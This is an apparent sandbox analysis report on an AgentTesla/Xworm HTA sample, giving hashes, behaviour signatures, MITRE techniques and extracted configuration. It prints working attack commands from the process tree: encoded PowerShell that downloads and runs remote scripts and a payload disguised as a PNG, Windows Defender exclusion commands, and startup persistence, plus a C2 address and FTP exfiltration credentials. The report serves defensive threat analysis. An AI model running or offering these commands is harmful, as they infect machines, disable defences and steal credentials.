agenttesla | a293bdefab9c954cbd5504329fe3e883d23beedd5aec2c22ef25afe359271967

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
15/06/2026, 20:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
goodjobtodayreallyfinegoodhearthatcurrentilot.hta
Size 47KB
Sample260615-zch3msgv9q
SHA256 a293bdefab9c954cbd5504329fe3e883d23beedd5aec2c22ef25afe359271967
MD5 ae53bbf9af212e88e6b85504d1165f0f
SHA1 d7adade295fc0a3248e223f4a7f78a696ab5ca7d
SHA512 81f54e44bff080dd9a75b5807c3c0f45282a64ce6093d26ac998ce433cdd5bdd8343375b364e13d4824fe2300f57e596a84dcba21597de5730fdf3380783344c
SSDEEP 192:ccNSvXcD8xEnE8EiE2EqYEqELEwE8E0dzcM5FKxjcIcZs:nNWsDVERXzs/ANR0dwIFKxAbZs
TLSH
T1CA2309352235998F5B2755EC94687E023DFBDAF5043AE96179CF449347C04A1BCBD28C
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection discovery execution agenttesla xworm keylogger rat spyware stealer trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://www.basefile.click/optimized_MSIljune.png
exe.dropper
http://www.basefile.click/optimized_MSIljune.png

Extracted

Credentials

Protocol
ftp
Host
ftp.duct-master.com
Port
21
Username
[email protected]
Password
WL9ow,~&t(NJJf-)nn

Extracted

Family

xworm

Version

172.245.106.54:3333

Mutex

f6yP7F5cx97AZN2R

Attributes

install_file
USB.exe

aes.plain

Extracted

Family

agenttesla

Credentials

Protocol
ftp
Host
ftp://ftp.duct-master.com
Port
21
Username
[email protected]
Password
WL9ow,~&t(NJJf-)nn

Signatures

Family: AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/2740-50-0x0000000000400000-0x0000000000410000-memory.dmp	family_xworm

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3948	5064	powershell.exe	95

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	5040	powershell.exe
7	3948	powershell.exe
22	3948	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2784	powershell.exe
4100	powershell.exe
3420	powershell.exe
3948	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	mshta.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\goodthingsarebestbetteyscomingforu.vbs	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\goodthingsarebestbetteyscomingforu.vbs	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
668	agfpgb.exe
4944	CasPol.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 5 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe
Key opened	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe
Key opened	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe
Key opened	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe
Key opened	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	agfpgb.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
34	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3948 set thread context of 2740	3948	powershell.exe	105

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Caspol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	agfpgb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5040	powershell.exe
5040	powershell.exe
3420	powershell.exe
3420	powershell.exe
3948	powershell.exe
3948	powershell.exe
3948	powershell.exe
3948	powershell.exe
3948	powershell.exe
3948	powershell.exe
3948	powershell.exe
3948	powershell.exe
3948	powershell.exe
3948	powershell.exe
3948	powershell.exe
3948	powershell.exe
3948	powershell.exe
3948	powershell.exe
2784	powershell.exe
2784	powershell.exe
4100	powershell.exe
4100	powershell.exe
2740	Caspol.exe
2740	Caspol.exe
2740	Caspol.exe
2740	Caspol.exe
668	agfpgb.exe
668	agfpgb.exe
4944	CasPol.exe
4944	CasPol.exe
4944	CasPol.exe
4944	CasPol.exe
4944	CasPol.exe
4944	CasPol.exe
4944	CasPol.exe
4944	CasPol.exe
4944	CasPol.exe
4944	CasPol.exe
4944	CasPol.exe
4944	CasPol.exe
4944	CasPol.exe
4944	CasPol.exe
4944	CasPol.exe
4944	CasPol.exe
4944	CasPol.exe
4944	CasPol.exe
4944	CasPol.exe
4944	CasPol.exe
4944	CasPol.exe
4944	CasPol.exe
4944	CasPol.exe
4944	CasPol.exe
4944	CasPol.exe
4944	CasPol.exe
4944	CasPol.exe
4944	CasPol.exe
4944	CasPol.exe
4944	CasPol.exe
4944	CasPol.exe
4944	CasPol.exe
4944	CasPol.exe
4944	CasPol.exe
4944	CasPol.exe
4944	CasPol.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	5040	powershell.exe
Token: SeDebugPrivilege	3420	powershell.exe
Token: SeDebugPrivilege	3948	powershell.exe
Token: SeDebugPrivilege	2740	Caspol.exe
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeDebugPrivilege	4100	powershell.exe
Token: SeDebugPrivilege	668	agfpgb.exe
Token: SeDebugPrivilege	4944	CasPol.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2740	Caspol.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 4572 wrote to memory of 3356	4572	mshta.exe	88
PID 3356 wrote to memory of 5040	3356	cmd.exe	90
PID 5040 wrote to memory of 2036	5040	powershell.exe	92
PID 2036 wrote to memory of 3420	2036	WScript.exe	93
PID 3948 wrote to memory of 2740	3948	powershell.exe	105
PID 3948 wrote to memory of 2740	3948	powershell.exe	105
PID 3948 wrote to memory of 2740	3948	powershell.exe	105
PID 3948 wrote to memory of 2740	3948	powershell.exe	105
PID 3948 wrote to memory of 2740	3948	powershell.exe	105
PID 2740 wrote to memory of 2784	2740	Caspol.exe	106
PID 2740 wrote to memory of 4100	2740	Caspol.exe	108
PID 2740 wrote to memory of 1688	2740	Caspol.exe	112
PID 2740 wrote to memory of 668	2740	Caspol.exe	114
PID 1688 wrote to memory of 4612	1688	csc.exe	115
PID 2740 wrote to memory of 4944	2740	Caspol.exe	116
PID 2740 wrote to memory of 3784	2740	Caspol.exe	117
PID 2740 wrote to memory of 4356	2740	Caspol.exe	119
PID 3784 wrote to memory of 5004	3784	csc.exe	121
PID 4356 wrote to memory of 772	4356	csc.exe	122

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\goodjobtodayreallyfinegoodhearthatcurrentilot.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4572
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/c PoweRsHELL.eXe -EX BYPASS -Nop -w 1 -eC IAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdwBHAGUAdAAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAdIGgAdAB0AHAAOgAvAC8AMQA3ADIALgAyADQANQAuADIAMAA5AC4AMgA1ADMALwAyADAAMwAvAGcAbwBvAGQAdABoAGkAbgBnAHMAYQByAGUAYgBlAHMAdABiAGUAdAB0AGUAcgB3AGEAeQBzAGMAbwBtAGkAbgBnAGYAbwByAHUALgB2AGIAcwAdICAACQAgACAACQAJACAAIAAgAAkAIAAgAAkAIAAtAG8AVQBUAGYASQBMAEUAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAB0gJABlAG4AdgA6AGEAUABwAGQAYQB0AEEAXABnAG8AbwBkAHQAaABpAG4AZwBzAGEAcgBlAGIAZQBzAHQAYgBlAHQAdABlAHkAcwBjAG8AbQBpAG4AZwBmAG8AcgB1AC4AdgBiAHMAHSAgAAkAIAAgACAAIAAgACAAOwAgACAACQAJAAkACQAgACAAIAAgACAACQAgAAkACQAgACAAIAAJACAACQAgACYAIAAgAAkAIAAdICQAZQBuAFYAOgBhAHAAUABEAEEAVABBAFwAZwBvAG8AZAB0AGgAaQBuAGcAcwBhAHIAZQBiAGUAcwB0AGIAZQB0AHQAZQB5AHMAYwBvAG0AaQBuAGcAZgBvAHIAdQAuAHYAYgBzAB0g "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3356
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    PoweRsHELL.eXe -EX BYPASS -Nop -w 1 -eC IAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdwBHAGUAdAAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAdIGgAdAB0AHAAOgAvAC8AMQA3ADIALgAyADQANQAuADIAMAA5AC4AMgA1ADMALwAyADAAMwAvAGcAbwBvAGQAdABoAGkAbgBnAHMAYQByAGUAYgBlAHMAdABiAGUAdAB0AGUAcgB3AGEAeQBzAGMAbwBtAGkAbgBnAGYAbwByAHUALgB2AGIAcwAdICAACQAgACAACQAJACAAIAAgAAkAIAAgAAkAIAAtAG8AVQBUAGYASQBMAEUAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAB0gJABlAG4AdgA6AGEAUABwAGQAYQB0AEEAXABnAG8AbwBkAHQAaABpAG4AZwBzAGEAcgBlAGIAZQBzAHQAYgBlAHQAdABlAHkAcwBjAG8AbQBpAG4AZwBmAG8AcgB1AC4AdgBiAHMAHSAgAAkAIAAgACAAIAAgACAAOwAgACAACQAJAAkACQAgACAAIAAgACAACQAgAAkACQAgACAAIAAJACAACQAgACYAIAAgAAkAIAAdICQAZQBuAFYAOgBhAHAAUABEAEEAVABBAFwAZwBvAG8AZAB0AGgAaQBuAGcAcwBhAHIAZQBiAGUAcwB0AGIAZQB0AHQAZQB5AHMAYwBvAG0AaQBuAGcAZgBvAHIAdQAuAHYAYgBzAB0g "
    3⤵
    - Badlisted process makes network request
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5040
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\goodthingsarebestbetteyscomingforu.vbs"
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2036
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c Copy-Item -LiteralPath 'C:\Users\Admin\AppData\Roaming\goodthingsarebestbetteyscomingforu.vbs' -Destination 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\goodthingsarebestbetteyscomingforu.vbs' -Force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3420

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command " & ([scriptblock]::Create( [System.Text.Encoding]::ASCII.GetString( [System.Convert]::FromBase64String( 'JGVucml2ZT0naHR0cDovL3d3dy5iYUBlZmlsZS5jbGljay9vcHRpbWl6ZWRfTVNJbGp1bmUucG5nJy5SZXBsYWNlKCdAJywncycpOw0KJGRpY2xpbm91cz1OZXctT2JqZWN0IE5ldC5XZWJDbGllbnQ7DQokZGljbGlub3VzLkhlYWRlcnMuQWRkKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAnKTsNCiR3YWFwYT0kZGljbGlub3VzLkRvd25sb2FkRGF0YSgkZW5yaXZlKTsNCiRnb29kaXNoPVtUZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJHdhYXBhKTsNCiRnbHlwaGljPSdJTi0nOw0KJHByZWx1c29yeT0nLWluMSc7DQokY2FyYWJpbmU9JGdvb2Rpc2guSW5kZXhPZigkZ2x5cGhpYyk7DQokWUdXWVBGPSRnb29kaXNoLkxhc3RJbmRleE9mKCRwcmVsdXNvcnkpOw0KaWYoJGNhcmFiaW5lIC1lcSAtMSAtb3IgJFlHV1lQRiAtZXEgLTEpew0KcmV0dXJufQ0KOw0KJHByaW11bGluPSRjYXJhYmluZSskZ2x5cGhpYy5MZW5ndGg7DQokcGVsaWNvc2F1cmlhPSRnb29kaXNoLlN1YnN0cmluZygkZ29vZGlzaC5JbmRleE9mKCRnbHlwaGljKSskZ2x5cGhpYy5MZW5ndGgsICRZR1dZUEYtKCRnb29kaXNoLkluZGV4T2YoJGdseXBoaWMpKyRnbHlwaGljLkxlbmd0aCkpOw0KJGRpc2JpbmQ9JHBlbGljb3NhdXJpYS5SZXBsYWNlKCcjJywnQScpLlRvQ2hhckFycmF5KCk7DQpbQXJyYXldOjpSZXZlcnNlKCRkaXNiaW5kKTsNCiRwcm93bGluZ2x5PSRkaXNiaW5kIC1qb2luICcnOw0KW2J5dGVbXV0kaXRhbGljaXphdGlvbj1bQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJHByb3dsaW5nbHkpOw0KJFBob2VidXM9W0FwcERvbWFpbl06OkN1cnJlbnREb21haW4uTG9hZCgkaXRhbGljaXphdGlvbik7DQokaW5oYXJtb255PUAoJ2h0dHBzOi8vYnJlbm1heWFzb2NpYWRvcy5jb20vc2Fzcy9kam9rdW5ld3JkcC5wbmcnLCcnLCdDOlxVc2Vyc1xQdWJsaWNcRG93bmxvYWRzXCcsJ29relhLWjhYcUMnLCdDYXNwb2wnLCcnLCdDYXNwb2wnLCcnLCcnLCdDOlxVc2Vyc1xQdWJsaWNcRG93bmxvYWRzXCcsJ29relhLWjhYcUMnLCd2YnMnLCcxJywnJywna0xwSmV0SzlzVycsJzAnLCcnLCcnLCcnKTsNCnRyeXsNCiRob25rZXlzPSRQaG9lYnVzLkdldFR5cGUoJ0ZpYmVyLlByb2dyYW0nKTsNCiRzYWx0cz0kaG9ua2V5cy5HZXRNZXRob2QoJ01haW4nKTsNCiRzYWx0cy5JbnZva2UoJG51bGwsW29iamVjdFtdXSRpbmhhcm1vbnkpfQ0KY2F0Y2h7DQp9DQo=' ) ) )) "
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3948
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
  2⤵
  - Accesses Microsoft Outlook profiles
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  - outlook_office_path
  - outlook_win_path
  PID:2740
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2784
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Caspol.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4100
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\CasPol.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_d177898d020848e499d9cfc0dab067f5.cs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1688
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC781.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC6120F52F2435FB6DE7B701A243340.TMP"
      4⤵
      PID:4612
- - C:\Users\Admin\AppData\Local\Temp\agfpgb.exe
    "C:\Users\Admin\AppData\Local\Temp\agfpgb.exe"
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:668
- - C:\Users\Admin\AppData\Local\Temp\CasPol.exe
    "C:\Users\Admin\AppData\Local\Temp\CasPol.exe" 2740
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4944
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\CasPol.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_2edc3652b2374b33a0a2d1533ff728b8.cs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3784
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAA7F.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCF43D4FB5F24B45D4B6D97F84BDCE9A52.TMP"
      4⤵
      PID:5004
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\CasPol.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_828479c63f2944daa8cc8b215f0da7d1.cs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4356
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAB88.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCBA65181C54A741678FD1FE95DE36952D.TMP"
      4⤵
      PID:772

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 1KB
SHA256 e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359
MD5 4280e36a29fa31c01e4d8b2ba726a0d8
SHA1 c485c2c9ce0a99747b18d899b71dfa9a64dabe32
SHA512 494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4
TLSH
T17A316C303221B5D84D436F5309286AD5A3FF8749ABA89F5CB569231DCD2A44BD7221F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 16KB
SHA256 42b8779032dde79caa66089b00e08a50c5e345117910ff024ccc9629bdd6ea1f
MD5 01b5f3b39d16e3af1d4a67fec40284f9
SHA1 336bbcef46485c6e4ba42bd93a88214127ce9529
SHA512 0072a3c34df4fd4ddd45e9aea5b089a80d5278e4bdeaec233c929ee06c0d1934da9bcc6d1ff3844a49ca2d5012ed3d120da1fb4f66701eee06a4926241d3c35f
SSDEEP 384:drf+kt9p+NbaJib6k+o9o28L6seYhA7/oZ3SoEAEfYt0azzaegDB87:1fsOwVjo28EWgsS/GTzzGq7
TLSH
T15D72B59E610F26D3C4D61378D10B051FE4F29DCD132A1BD97B5A9F3B8EA8A5E503C198
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a421fc572f1bdab0f50d10e52164ddea0e2fd33ca2ca10d6670340dbafd11d8d
MD5 013133af10181f4c439db708ad172588
SHA1 f753b512e2f5bbb555e34dc807e2260d96ffe8ac
SHA512 2203f58ab9a12ac0695eac7ca86f50f51966cb538ee2ea2a25585a43e529d5ad0d43a92caba83d7dba1599d2b55f7b946abab07d479dd6d909a84f6655d08ab8
TLSH
T1F1213327B79C89A1CC96163A109E9C1176A7C3DB41AECFDF6EC0C214A16F984CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 18KB
SHA256 0f49fb81592df61edbfdee0fc7e08d779912d693a48cca3343d5486099eccdf4
MD5 54aa1500de332478023b17156d6f26f2
SHA1 ed0cc81e29688d16b55faeebdf3a7a3d4572dbe0
SHA512 aea20831def25059129821414d4d536b7cc5c5731fbb8246e810fc36ec8885fcf3a470f75e679b6d4055ced412a15a0ae40c46f83794c058d2033ce9497e6e0d
SSDEEP 384:Usf+B39i+bnKBizJk+o9odUa5jmkXK6seYwME/B03SoZ4sfYSgIjEDk+Q0gdUtk6:hfgKoejodLBlXNfrqSxGWWEDzCO3
TLSH
T1B282E76E611F26C3C49613B8E11B051FE8F2DD8D431A13D9BB1E9F3B8AAC65E903D548
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CasPol.exe

Path C:\Users\Admin\AppData\Local\Temp\CasPol.exe
Size 5KB
SHA256 736729c953adc3bf33adb99e53b2d001303a85ad42896e302f5e83e68be230a6
MD5 cd4a52e0ff3151efd7c97e6e0ecedc1e
SHA1 40b27a80541734e97e432de3da4d92c1d9339672
SHA512 1371dfbc7b548b9c1804bc1b02a24746854a4d7e7133c8ec775af27cbe56f6fd94c216fd5731f0fbef899dba8cac5950e05e7af53812b858547639eb7e4417e3
SSDEEP 96:edew7V9qOOoT8BynqgHlNxNEx7yKk2zNt:ev2OOWoyqgHjox70Q
TLSH
T12FC1A347979C4366D0620731B8B343522778E9225B6BABAF28E4137A2EB639009533F1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RESAA7F.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESAA7F.tmp
Size 1KB
SHA256 7da87a366aa155bf90a503753e2e5ff91e9701b9b501854a9ead37bcb47b6025
MD5 8dbd11c25d0b5d4817a9c3c3ffb38b4a
SHA1 78fe7894c9585d97082050aec9e3e420bca72270
SHA512 d3df1f0614c4089c4f0e3b4dc0a6dc9217d4bc7933dac200962d9b7310c759edb0930c2f79eb4a4498dfa77ac5dd28fb4bb2e04eab4943fd5b552dd25d9ec81f
TLSH
T1C841234083E84B1FE233473128F79719A274FF91AE9A435EB588122E5E02740DD836B2
MD5 SHA1 SHA512 TLSH

Submit Download

RESAB88.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESAB88.tmp
Size 1KB
SHA256 f7ceca3f1208c6c1875b9e76e87232a93fab74daee0a6acc91a3a5e0bb5dd314
MD5 176c8130ee43d29bb2c9aec4064c5b08
SHA1 10ef85c32b256610874e58d8ed8367fbaaa37df8
SHA512 c84ecd0fd6f9fe2b91b4772d27935b0431d5c418a1525579baeed11f4126bf00000e3072a2717102c1cdfa5225da25853c40aa8f688db0a2bfd941502544fc7b
TLSH
T1B341234183E84B1FE173473128F78719B275FF91EE9A439EB584522E5E12740DD836B2
MD5 SHA1 SHA512 TLSH

Submit Download

RESC781.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESC781.tmp
Size 1KB
SHA256 b9a1ecd41a2504010b4fe9ce82f626bcdd8a313481edaf69e1d3ee568f869b6b
MD5 44c7fdf5dfa2033c199df4e6cf8962a5
SHA1 667e3789c07ad51badabe44d2c718970c01b3140
SHA512 716a142ebbb91c246470dcc764900bba6101c58b563a2f111cd6286c1b89541e2b7fe0c5b4d624ab6b65d7e9d255b0127a2ba742f3cc421044403d4659d128f5
TLSH
T15A411141C3E84B1FE173473179F74719A238FE55AF9A436E7584122E5E02740CD83AB2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_4sriyt2b.nj5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4sriyt2b.nj5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
